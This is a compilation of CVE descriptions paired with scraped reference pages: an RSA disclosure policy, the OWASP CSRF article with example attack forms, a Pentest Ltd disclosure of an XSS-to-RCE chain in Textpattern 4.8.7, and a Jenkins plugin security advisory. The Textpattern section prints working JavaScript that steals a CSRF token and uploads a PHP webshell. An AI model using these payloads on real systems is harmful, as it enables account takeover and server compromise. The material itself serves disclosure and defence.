In RSA Archer 6.9.SP1 P3, if some application functions are precluded by the Administrator, this can be bypassed by intercepting the API request at the /api/V2/internal/TaskPermissions/CheckTaskAccess endpoint. If the parameters of this request are replaced with empty fields, the attacker achieves access to the precluded functions.

**Introduction**

RSA strives to help our customers minimize risk associated with security vulnerabilities in our products. Our goal is to provide customers with timely information, guidance, and mitigation options to address vulnerabilities. The RSA Product Security Incident Response Team (RSA PSIRT) is chartered and responsible for coordinating the response and disclosure for all product vulnerabilities that are reported to RSA.

**How to Report a Security Vulnerability**

If you identify a security vulnerability in any RSA product, please report it to us immediately. Security researchers, industry groups, vendors, and other users that do not have access to Technical Support should send vulnerability reports directly to the RSA PSIRT via email. Timely identification of security vulnerabilities is critical to mitigating potential risks to our customers.

RSA’s product customers and partners should contact their respective Technical Support team to report any security issues discovered in RSA products. The Technical Support team, appropriate product team and the RSA PSIRT will work together to address the reported issue and provide customers with next steps.

When reporting a potential vulnerability, please include as much of the below information as possible to help us better understand the nature and scope of the reported issue:

*   Product name and version containing the vulnerability
*   Environment or system information under which the issue was reproduced (e.g. product model number, OS version, etc.)
*   Type and/or class of vulnerability (XSS, buffer overflow, RCE, CWE, etc.)
*   Step-by-step instructions to reproduce the vulnerability
*   Proof-of-concept or exploit code
*   Potential impact of the vulnerability

**Handling Vulnerability Reports**

RSA believes in maintaining a good relationship with security researchers, and with their agreement, may recognize the researcher for finding a valid product vulnerability and privately reporting the issue. In return, we ask that researchers give us an opportunity to remediate the vulnerability before disclosing it publicly. RSA believes that coordinating the public disclosure of a vulnerability is key to protecting our customers.

According to this policy, all disclosed information about vulnerabilities is intended to remain between RSA and the reporting party—if the information is not already public knowledge—until a remedy is available and disclosure activities are coordinated.

**Vulnerability Remediation**

After investigating and validating a reported vulnerability, we will attempt to develop and qualify the appropriate remedy for products under active support from RSA. A remedy may take one or more of the following forms:

*   A new release of the affected product packaged by RSA;
*   An RSA-provided patch that can be installed on top of the affected product;
*   Instructions to download and install an update or patch from a third-party vendor that is required for mitigating the vulnerability;
*   A corrective procedure or workaround published by RSA that instructs users on adjusting the product configuration to mitigate the vulnerability.

RSA makes every effort to provide the remedy or corrective action in the shortest commercially reasonable time. Response timelines depend on many factors, such as the severity, impact, the remedy complexity, the affected component (e.g., some updates require longer validation cycles or can only be updated in a major release), the stage of the product within its lifecycle, and status of business operations, among others.

**Impact and Severity Ratings**

RSA currently uses the Common Vulnerability Scoring System version 3.1 (CVSS v3.1) open framework for communicating the characteristics and severity of RSA’s software vulnerabilities.  Many factors, including the level of effort required to exploit a vulnerability as well as the potential impact to data or business activities from a successful exploit, are taken into consideration.

The overall impact of a security advisory is a textual representation of the severity (i.e., critical, high, medium, and low) that follows the CVSS Severity Qualitative Severity Rating Scale for the highest CVSS Base Score of all identified vulnerabilities. When and where applicable, RSA will provide an overall impact for the advisory and for each identified vulnerability the CVSS v3.1 Base Score and corresponding CVSS v3.1 Vector. RSA recommends that all customers take into account both the base score and any temporal and/or environmental metrics that may be relevant to their environment to assess their overall risk.

**Remedy Communication**

Usually, we communicate remedies to customers through RSA Security Advisories, where applicable. To protect our customers, RSA strives to release a Security Advisory once we have a remedy in place for any affected product(s). RSA may release Security Notices sooner to respond appropriately to public disclosures or widely known vulnerabilities in the components used within our products.

Security Advisories are intended to provide enough details to allow customers to assess the impact of vulnerabilities and to remedy potentially vulnerable products. Full details may be limited to reduce the likelihood that malicious users can take advantage of the information and exploit it to the detriment of our customers.

RSA Security Advisories will typically include the following information, as applicable:

*   The overall impact, which is a textual representation of the severity (i.e. critical, high, medium, and low) that follows the CVSS Severity Qualitative Severity Rating Scale for the highest CVSS Base Score of all identified vulnerabilities;
*   Products and versions affected;
*   The CVSS Base Score and Vector for all identified vulnerabilities;
*   Common Vulnerability Enumeration (CVE) identifier for all identified vulnerabilities so that the information for each unique vulnerability can be shared across various vulnerability management capabilities (e.g., tools like vulnerability scanners, repositories, and services);
*   Brief description of the vulnerability and the potential impact if exploited;
*   Remediation details with update/workaround information;
*   Acknowledgment to the finder for reporting the vulnerability and working with RSA on a coordinated release, as applicable.

**Additional Disclosure Information**

RSA’s policy is not to provide information about the specifics of vulnerabilities beyond what is provided in the Security Advisory and related documentation, such as release notes, knowledgebase articles, FAQs, etc. We do not distribute exploit/proof of concept code for identified vulnerabilities. In accordance with industry practices, RSA does not share the findings from its internal security testing or other types of security activities with external entities.

**Notifying RSA of other Security Issues**

If you need to report any other security issue to RSA, please use the appropriate contacts listed below:

Security Issue

Contact Information

To report a security vulnerability or issue in RSA.com or other online service, web application or property

Submit a report at responsibledisclosure@securid.com with step-by-step instructions to reproduce the issue.

To submit privacy related requests or questions

See RSA Privacy page.

**Customer Entitlements: Warranties, Support, and Maintenance**

RSA customers’ entitlements regarding warranties and support and maintenance—including vulnerabilities in any RSA software product—are governed by the applicable agreement between RSA and the individual customer. The statements on this web page do not modify, enlarge, or otherwise amend any customer rights or create any additional warranties.

**Disclaimer**

All aspects of RSA’s Vulnerability Response Policy are subject to change without notice and on a case-by-case basis. Response is not guaranteed for any specific issue or class of issues. Your use of the information contained in this document or materials linked herein is at your own risk. RSA reserves the right to change or update this document in its sole discretion and without notice at any time.

CVE-2021-41594: Vulnerability Response Policy - RSA

A Cross-Site Request Forgery (CSRF) in Pluck CMS v4.7.15 allows attackers to change the password of any given user by exploiting this feature leading to account takeover.

**Author:** KirstenS  
**Contributor(s):** Dave Wichers, Davisnw, Paul Petefish, Adar Weidman, Michael Brooks, Ahsan Mir, Dc, D0ubl3 h3lix, Jim Manico, Robert Gilbert, Tgondrom, Pawel Krawczyk, Brandt, A V Minhaz, Kevin Lorenzo, Andrew Smith, Christina Schelin, Ari Elias-Bachrach, Sarciszewski, kingthorin, Ben Spatafora  

**Overview**

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

**How to Review Code for CSRF Vulnerabilities**

See the OWASP Code Review Guide article on how to review code for CSRF vulnerabilities.

**How to Test for CSRF Vulnerabilities**

See the OWASP Testing Guide article on how to test for CSRF vulnerabilities.

**How to Prevent CSRF Vulnerabilities**

See the CSRF Prevention Cheat Sheet for prevention measures.

Listen to the OWASP Top Ten CSRF Podcast.

Most frameworks have built-in CSRF support such as Joomla, Spring, Struts, Ruby on Rails, .NET and others.

Use OWASP CSRF Guard to add CSRF protection to your Java applications. You can use CSRFProtector Project to protect your PHP applications or any project deployed using Apache Server.

John Melton also has an excellent blog post describing how to use the native anti-CSRF functionality of the OWASP ESAPI.

**Description**

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim’s behalf (though note that this is not true of login CSRF, a special form of the attack described below). For most sites, browser requests automatically include any credentials associated with the site, such as the user’s session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the victim and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change on the server, such as changing the victim’s email address or password, or purchasing something. Forcing the victim to retrieve data doesn’t benefit an attacker because the attacker doesn’t receive the response, the victim does. As such, CSRF attacks target state-changing requests.

An attacker can use CSRF to obtain the victim’s private data via a special form of the attack, known as login CSRF. The attacker forces a non-authenticated user to log in to an account the attacker controls. If the victim does not realize this, they may add personal data—such as credit card information—to the account. The attacker can then log back into the account to view this data, along with the victim’s activity history on the web application.

It’s sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called “stored CSRF flaws”. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

**Synonyms**

CSRF attacks are also known by a number of other names, including XSRF, “Sea Surf”, Session Riding, Cross-Site Reference Forgery, and Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.

**Prevention measures that do **NOT** work**

A number of flawed ideas for defending against CSRF attacks have been developed over time. Here are a few that we recommend you avoid.

**Using a secret cookie**

Remember that all cookies, even the _secret_ ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.

**Only accepting POST requests**

Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker’s Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.

**Multi-Step Transactions**

Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.

**URL Rewriting**

This might be seen as a useful CSRF prevention technique as the attacker cannot guess the victim’s session ID. However, the user’s session ID is exposed in the URL. We don’t recommend fixing one security flaw by introducing another.

**HTTPS**

HTTPS by itself does nothing to defend against CSRF.

However, HTTPS should be considered a prerequisite for any preventative measures to be trustworthy.

**Examples****How does the attack work?**

There are numerous ways in which an end user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a valid malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using the _bank.com_ web application that is vulnerable to CSRF. Maria, an attacker, wants to trick Alice into sending the money to Maria instead. The attack will comprise the following steps:

1.  Building an exploit URL or script
2.  Tricking Alice into executing the action with Social Engineering

**GET scenario**

If the application was designed to primarily use GET requests to transfer parameters and execute actions, the money transfer operation might be reduced to a request like:

`GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1`

Maria now decides to exploit this web application vulnerability using Alice as the victim. Maria first constructs the following exploit URL which will transfer $100,000 from Alice’s account to Maria’s account. Maria takes the original command URL and replaces the beneficiary name with herself, raising the transfer amount significantly at the same time:

`http://bank.com/transfer.do?acct=MARIA&amount=100000`

The social engineering aspect of the attack tricks Alice into loading this URL when Alice is logged into the bank application. This is usually done with one of the following techniques:

*   sending an unsolicited email with HTML content
*   planting an exploit URL or script on pages that are likely to be visited by the victim while they are also doing online banking

The exploit URL can be disguised as an ordinary link, encouraging the victim to click it:

`<a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a>`

Or as a 0x0 fake image:

`<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="0" height="0" border="0">`

If this image tag were included in the email, Alice wouldn’t see anything. However, the browser _will still_ submit the request to bank.com without any visual indication that the transfer has taken place.

A real life example of CSRF attack on an application using GET was a uTorrent exploit from 2008 that was used on a mass scale to download malware.

**POST scenario**

The only difference between GET and POST attacks is how the attack is being executed by the victim. Let’s assume the bank now uses POST and the vulnerable request looks like this:

    POST http://bank.com/transfer.do HTTP/1.1
    
    acct=BOB&amount=100
    

Such a request cannot be delivered using standard A or IMG tags, but can be delivered using a FORM tags:

    <form action="http://bank.com/transfer.do" method="POST">
    
    <input type="hidden" name="acct" value="MARIA"/>
    <input type="hidden" name="amount" value="100000"/>
    <input type="submit" value="View my pictures"/>
    
    </form>
    

This form will require the user to click on the submit button, but this can be also executed automatically using JavaScript:

    <body onload="document.forms[0].submit()">
    
    <form...
    

**Other HTTP methods**

Modern web application APIs frequently use other HTTP methods, such as PUT or DELETE. Let’s assume the vulnerable bank uses PUT that takes a JSON block as an argument:

    PUT http://bank.com/transfer.do HTTP/1.1
    
    { "acct":"BOB", "amount":100 }
    

Such requests can be executed with JavaScript embedded into an exploit page:

    <script>
    function put() {
        var x = new XMLHttpRequest();
        x.open("PUT","http://bank.com/transfer.do",true);
        x.setRequestHeader("Content-Type", "application/json");
        x.send(JSON.stringify({"acct":"BOB", "amount":100})); 
    }
    </script>
    
    <body onload="put()">
    

Fortunately, this request will **not** be executed by modern web browsers thanks to same-origin policy restrictions. This restriction is enabled by default unless the target web site explicitly opens up cross-origin requests from the attacker’s (or everyone’s) origin by using CORS with the following header:

`Access-Control-Allow-Origin: *`

*   Cross-site Scripting (XSS)
*   Cross Site History Manipulation (XSHM)

*   Add a per-request nonce to the URL and all forms in addition to the standard session. This is also referred to as “form keys”. Many frameworks (e.g., Drupal.org 4.7.4+) either have or are starting to include this type of protection “built-in” to every form so the programmer does not need to code this protection manually.
*   Add a hash (session id, function name, server-side secret) to all forms.
*   For .NET, add a session identifier to ViewState with MAC (described in detail in the DotNet Security Cheat Sheet).
*   Checking the referrer header in the client’s HTTP request can prevent CSRF attacks. Ensuring that the HTTP request has come from the original site means that attacks from other sites will not function. It is very common to see referrer header checks used on embedded network hardware due to memory limitations.
    *   XSS can be used to bypass both referrer and token based checks simultaneously. For instance, the Samy worm used an `XMLHttpRequest` to obtain the CSRF token to forge requests.
*   “Although CSRF is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser’s cookies at the end of each browser session.” –http://en.wikipedia.org/wiki/Cross-site\_request\_forgery#\_note-1

**References**

*   OWASP Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
    
*   The Cross-Site Request Forgery (CSRF/XSRF) FAQ
    

> “This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered.”\*

*   Testing for CSRF
    *   CSRF (aka Session riding) paper from the OWASP Testing Guide project.
*   CSRF Vulnerability: A ‘Sleeping Giant’
    *   Overview Paper
*   Client Side Protection against Session Riding
    *   Martin Johns and Justus Winter’s interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - PDF paper
*   OWASP CSRF Guard
    *   J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.
*   OWASP CSRF Protector
    *   Anti CSRF method to mitigate CSRF in web applications. Currently implemented as a PHP library & Apache 2.x.x module
*   A Most-Neglected Fact About Cross Site Request Forgery (CSRF)
    *   Aung Khant, http://yehg.net, explained the danger and impact of CSRF with imperiling scenarios.
*   Pinata-CSRF-Tool: CSRF POC tool
    *   Pinata makes it easy to create Proof of Concept CSRF pages. Assists in Application Vulnerability Assessment.

CVE-2022-27432: Cross Site Request Forgery (CSRF)

textpattern 4.8.7 is vulnerable to Cross Site Scripting (XSS) via /textpattern/index.php,Body. A remote and unauthenticated attacker can use XSS to trigger remote code execution by uploading a webshell. To do so they must first steal the CSRF token before submitting a file upload request.

**Researchers:**

**Paul Ritchie**

As part of our ongoing commitment to Open-Source security, Pentest Ltd conducted a research project into Textpattern version 4.8.7.

Textpattern is a free and open-source content management system for PHP and MySQL. According to builtwith.com it was publicly in use on over two-thousand websites.

In this instance an unauthenticated attacker could craft an attack resulting in Remote Code Execution (RCE) on the backend server. To achieve this the victim must click on a maliciously generated link which embedded HTML tags and JavaScript commands. If the victim had sufficient privileges and an established authentication session, then the application would be exploited after that single click.

****Finding the Vulnerability  
****

The post preview function was vulnerable to XSS through the “Body” parameter. This exploit can be used to steal the CSRF token to enable arbitrary code execution through the plugin upload functionality.

The following shows the HTTP request used to confirm the preview was vulnerable:

				
					
`GET /textpattern/index.php?Body=A+test+article.+%0D%0A%0D%0A%3Cimg+src%3Dx+onerror%3Dalert(1)%3E&app_mode=async&view=preview HTTP/1.1 Host: 192.168.127.128 Cookie: [...] Valid Cookie is Added By the Victim’s Browser [...] Connection: close`
				
			

By default, the application submitted the preview request over HTTP POST. No distinction was made between data in the POST body or within a GET URL making it possible to exploit this via a link.

When decoded, the HTML payload was as shown below:

				
					
`<img src="https://pentest.co.uk/labs/leveraging-xss-to-get-rce-in-textpattern/x" onerror="alert(1)">`
				
			

This included a new “img” tag which executed a popup message when viewed in a browser:

![Pentest Limited | Textpattern](https://pentest.co.uk/wp-content/uploads/Textpattern1.png)

An unauthenticated attacker with knowledge of this issue could create a URL for any installation of textpattern. The attacker did not require authenticated access to the target installation of textpattern. The victim must interact with the payload at a time when they are authenticated.

If the victim has access to the “plugins” functionality the attacker could gain Remote Code Execution (RCE) by uploading a PHP file to the server. The plugin upload functionality required a valid “\_txp\_token” which acted as a Cross-Site Request Forgery (CSRF) defence. The CSRF token was static for the duration of a user’s session. It was accessible easily in the DOM in locations such as the following:

				
					
`<script> var textpattern = {"_txp_uid":"b52057c79f0e75619c9f4c14862beb32","event":"plugin","step":"plugin_upload","_txp_token":"c33a3808f37893bcf79b5dff8fc725b9","ajax_timeout":30000,"prefs":{"max_file_size":"2000000","max_upload_size":"2097152","production_status":"testing","do_spellcheck":"#page-article #body, #page-article #title,#page-image #image_alt_text, #page-image #caption,#page-file #description,#page-link #link-title, #page-link #link-description","language_ui":"en-gb","message":"<span class=\"ui-icon ui-icon-{status}\"><\/span> {message}","messagePane":"<span class=\"messageflash {status}\" role=\"alert\" aria-live=\"assertive\">\n    {message}\n    <a class=\"close\" role=\"button\" title=\"{close}\" href=\"#close\"><span class=\"ui-icon ui-icon-close\">{close}<\/span><\/a>\n<\/span>"},"textarray":{}}; </script>`

				
			

To exploit this the attacker would need to use JavaScript to request the “/textpattern/index.php” URL and extract the “\_txp\_token” from the location highlighted above. The following JavaScript was used to steal the token, and then to upload a PHP webshell:

				
					
`<script> // return the response text from the request function httpGet(theUrl){     var xmlHttp = new XMLHttpRequest();     xmlHttp.open( "GET", theUrl, false ); // false for synchronous request     xmlHttp.send( null );     return xmlHttp.responseText; } // steal CSRF token from DOM in the "/textpattern/index.php" function stealToken() { 	var start = '"_txp_token":"'; 	var end   = '","ajax_timeout":'; 	var url   = '/textpattern/index.php'; 	var res   = httpGet(url); 	var token =  res.substring(res.indexOf(start) + start.length, res.indexOf(start) + start.length + 32 ); 	return token; } // upload webshell using the token. function uploadWebShell(token) { 	fetch('/textpattern/index.php',{ 		method: 'POST', 		headers: { 			'Content-Length': '667',  			'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryozIzNEFsufRB6LpY',  			'Connection': 'close' 		}, 		credentials: 'include', 		body: '------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="theplugin"; filename="csrfshell.php"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "<\/pre>"; die; }?>\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="install_new"\x0d\x0a\x0d\x0aUpload\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="event"\x0d\x0a\x0d\x0aplugin\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="step"\x0d\x0a\x0d\x0aplugin_upload\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY\x0d\x0aContent-Disposition: form-data; name="_txp_token"\x0d\x0a\x0d\x0a'+token+'\x0d\x0a------WebKitFormBoundaryozIzNEFsufRB6LpY--\x0d\x0a' 	}); } uploadWebShell(stealToken()); </script>`

				
			

The above payload could be delivered using a link with the techniques demonstrated below:

				
					
`/textpattern/index.php?Body=<img src="https://pentest.co.uk/labs/leveraging-xss-to-get-rce-in-textpattern/x" onerror="eval(atob('<PAYLOAD">'))>&app_mode=async&view=preview`
				
			

The “eval” function executed the payload which is Base64 decoded using “atob”. To exploit this the full JavaScript payload must be Base64 and then URL encoded, before being pasted over the “<PAYLOAD>” marker above.

After exploitation a new “csrfshell.php” script was accessible which executed OS commands supplied in the “cmd” parameter:

![Pentest Limited | Textpattern](https://pentest.co.uk/wp-content/uploads/Textpattern2.png)

This confirmed that exploitation had occurred.

****Risk Analysis  
****

**  
Risk Category:** High  
**CVSS:** 9.6/Critical – AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H  
**  
Explanation:** In this instance an unauthenticated attacker could craft an attack resulting in Remote Code Execution (RCE) on the backend server. To achieve this the victim must click on a maliciously generated link which embedded HTML tags and JavaScript commands. If the victim had sufficient privileges and an established authentication session, then they would be exploited after that single click.

****Recommendation  
****

To protect your Textpattern installations update to 4.8.8 as soon as possible. Find out more here.

****Affected Item(s)****

Textpattern version 4.8.7

**Our latest research**

![Pentest Limited | Research | OpenCMS](https://pentest.co.uk/wp-content/uploads/Multiple-OpenCMS-Hero.png)

![Pentest Limited | Research | OpenCMS Clickjacking](https://pentest.co.uk/wp-content/uploads/OpenCMS-Jack1.png)

**How can we support you?**

Contact our team today to find out how we can help support your organization.

CVE-2021-44082: Leveraging XSS to get RCE in Textpattern | Pentest Limited

Cross Site Scripting (XSS) vulnerability exists in cxuucms v3 via the imgurl of /feedback/post/ content parameter.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-42970: A xss vulnerability was discovered in cxuucmsv3 · Issue #8 · cbkhwx/cxuucmsv3

A missing permission check in Jenkins JiraTestResultReporter Plugin 165.v817928553942 and earlier allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials.

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   Bitbucket Server Integration Plugin
*   Continuous Integration with Toad Edge Plugin
*   Coverage/Complexity Scatter Plot Plugin
*   Flaky Test Handler Plugin
*   instant-messaging Plugin
*   JiraTestResultReporter Plugin
*   Job and Node ownership Plugin
*   Pipeline: Phoenix AutoTest Plugin
*   Proxmox Plugin
*   Proxmox Plugin
*   Proxmox Plugin
*   RocketChat Notifier Plugin
*   SiteMonitor Plugin
*   Tests Selector Plugin

**Descriptions****Stored XSS vulnerability in Bitbucket Server Integration Plugin**

**SECURITY-2639 / CVE-2022-28133**  
**Severity (CVSS):** High  
**Affected plugin: atlassian-bitbucket-server-integration**  
**Description:**

Bitbucket Server Integration Plugin 2.0.0 through 3.1.0 (inclusive) does not limit URL schemes for callback URLs on OAuth consumers.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to create BitBucket Server consumers.

Bitbucket Server Integration Plugin 3.2.0 limits allowed URL schemes to prevent creation of consumers with javascript: URL scheme.

**Missing permission checks in Bitbucket Server Integration Plugin**

**SECURITY-2640 / CVE-2022-28134**  
**Severity (CVSS):** Medium  
**Affected plugin: atlassian-bitbucket-server-integration**  
**Description:**

Bitbucket Server Integration Plugin 3.1.0 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to create, view, and delete BitBucket Server consumers.

Bitbucket Server Integration Plugin 3.2.0 requires Overall/System Read permission to view BitBucket Server consumers, and Overall/Administer permission to modify them.

**Passwords stored in plain text by instant-messaging Plugin**

**SECURITY-2161 / CVE-2022-28135**  
**Severity (CVSS):** Low  
**Affected plugin: instant-messaging**  
**Description:**

instant-messaging Plugin provides a framework for plugins integrating Jenkins with instant messaging services.

instant-messaging Plugin 1.41 and earlier stores passwords for group chats unencrypted in the global configuration file of plugins based on instant-messaging Plugin on the Jenkins controller.

These passwords can be viewed by users with access to the Jenkins controller file system.

instant-messaging Plugin 1.42 stores passwords for group chats encrypted once the integrating plugin’s configuration is saved again.

**CSRF vulnerability and missing permission check in JiraTestResultReporter Plugin**

**SECURITY-2236 / CVE-2022-28136 (CSRF), CVE-2022-28137 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: JiraTestResultReporter**  
**Description:**

JiraTestResultReporter Plugin 165.v817928553942 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

This form validation method requires POST requests and Overall/Administer permission in JiraTestResultReporter Plugin 166.v0cc6208295b5.

**CSRF vulnerability and missing permission check in RocketChat Notifier Plugin**

**SECURITY-2241 / CVE-2022-28138 (CSRF), CVE-2022-28139 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: rocketchatnotifier**  
**Description:**

RocketChat Notifier Plugin 1.4.10 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified username and password.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

RocketChat Notifier Plugin 1.5.0 requires POST requests and Overall/Administer permission for the affected form validation method.

**XXE vulnerability in Flaky Test Handler Plugin**

**SECURITY-1896 / CVE-2022-28140**  
**Severity (CVSS):** High  
**Affected plugin: flaky-test-handler**  
**Description:**

Flaky Test Handler Plugin 1.2.1 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers with Item/Configure permission to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Flaky Test Handler Plugin 1.2.2 disables external entity resolution for its XML parser.

**Password stored in plain text by Proxmox Plugin**

**SECURITY-2079 / CVE-2022-28141**  
**Severity (CVSS):** Low  
**Affected plugin: proxmox**  
**Description:**

Proxmox Plugin 0.5.0 and earlier stores the Proxmox Datacenter password unencrypted in the global config.xml file on the Jenkins controller as part of its configuration.

This password can be viewed by users with access to the Jenkins controller file system.

Proxmox Plugin 0.6.0 stores the Proxmox Datacenter password encrypted once its configuration is saved again.

**SSL/TLS certificate validation globally disabled by Proxmox Plugin**

**SECURITY-2081 / CVE-2022-28142**  
**Severity (CVSS):** Medium  
**Affected plugin: proxmox**  
**Description:**

Proxmox Plugin 0.6.0 and earlier disables SSL/TLS certificate validation for the entire Jenkins controller JVM when configured to ignore SSL/TLS issues.

Proxmox Plugin 0.7.0 no longer disables SSL/TLS certificate validation for the entire Jenkins controller JVM.

**CSRF vulnerability and missing permission checks in Proxmox Plugin**

**SECURITY-2082 / CVE-2022-28143 (CSRF), CVE-2022-28144 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: proxmox**  
**Description:**

Proxmox Plugin 0.7.0 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to:

*   connect to an attacker-specified host using attacker-specified username and password, performing a connection test,
    
*   disable SSL/TLS validation for the entire Jenkins controller JVM as part of the connection test (see SECURITY-2081 / CVE-2022-28142),
    
*   and test a rollback with attacker-specified parameters.
    

Additionally, these endpoints do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

Proxmox Plugin 0.7.1 requires POST requests and Overall/Administer permission for the affected HTTP endpoints.

**XSS vulnerability in Continuous Integration with Toad Edge Plugin**

**SECURITY-1892 / CVE-2022-28145**  
**Severity (CVSS):** High  
**Affected plugin: ci-with-toad-edge**  
**Description:**

Continuous Integration with Toad Edge Plugin 2.3 and earlier uses a patched fork of an old version of the file browser for workspaces, archived artifacts, and userContent/ from Jenkins core (DirectoryBrowserSupport) to serve reports.

This fork removes the Content-Security-Policy header functionality introduced for SECURITY-95.

This results in a stored cross-site scripting (XSS) exploitable by attackers with Item/Configure permission or otherwise able to control report contents.

Continuous Integration with Toad Edge Plugin 2.4 uses the built-in Jenkins file browser to serve reports.

Some reports generated by this plugin rely on the ability to execute JavaScript. See the plugin’s documentation for a detailed explanation and options.

**Arbitrary file read vulnerability in Continuous Integration with Toad Edge Plugin**

**SECURITY-2633 / CVE-2022-28146**  
**Severity (CVSS):** Medium  
**Affected plugin: ci-with-toad-edge**  
**Description:**

Continuous Integration with Toad Edge Plugin 2.3 and earlier allows attackers with Item/Configure permission to read arbitrary files on the Jenkins controller by specifying an input folder on the Jenkins controller as a parameter to its build steps.

Continuous Integration with Toad Edge Plugin 2.4 only allows copying files from the node the build is executing on.

**Missing permission check in Continuous Integration with Toad Edge Plugin**

**SECURITY-2635 / CVE-2022-28147**  
**Severity (CVSS):** Medium  
**Affected plugin: ci-with-toad-edge**  
**Description:**

Continuous Integration with Toad Edge Plugin 2.3 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to check for the existence of an attacker-specified file path on the Jenkins controller file system.

Continuous Integration with Toad Edge Plugin 2.4 requires Overall/Administer permission for the affected form validation method.

**Path traversal vulnerability on Windows in Continuous Integration with Toad Edge Plugin**

**SECURITY-2654 / CVE-2022-28148**  
**Severity (CVSS):** Medium  
**Affected plugin: ci-with-toad-edge**  
**Description:**

Continuous Integration with Toad Edge Plugin 2.3 and earlier uses a patched fork of an old version of the file browser for workspaces, archived artifacts, and userContent/ from Jenkins core (DirectoryBrowserSupport) to serve reports.

The fork did not receive the fix for SECURITY-2481 in Jenkins 2.315 and LTS 2.303.2.

This results in a path traversal vulnerability allowing attackers with Item/Read permission to obtain the contents of arbitrary files on Windows controllers.

Continuous Integration with Toad Edge Plugin 2.4 uses the built-in Jenkins file browser to serve reports, inheriting the fix in Jenkins core if running on a recent enough version.

**Stored XSS vulnerability in Job and Node ownership Plugin**

**SECURITY-2285 / CVE-2022-28149**  
**Severity (CVSS):** High  
**Affected plugin: ownership**  
**Description:**

Job and Node ownership Plugin 0.13.0 and earlier does not escape the names of secondary owners.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**CSRF vulnerability and missing permission check in Job and Node ownership Plugin**

**SECURITY-2062 (1) / CVE-2022-28150 (CSRF), CVE-2022-28151 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: ownership**  
**Description:**

Job and Node ownership Plugin 0.13.0 and earlier does not perform a permission check in several HTTP endpoints.

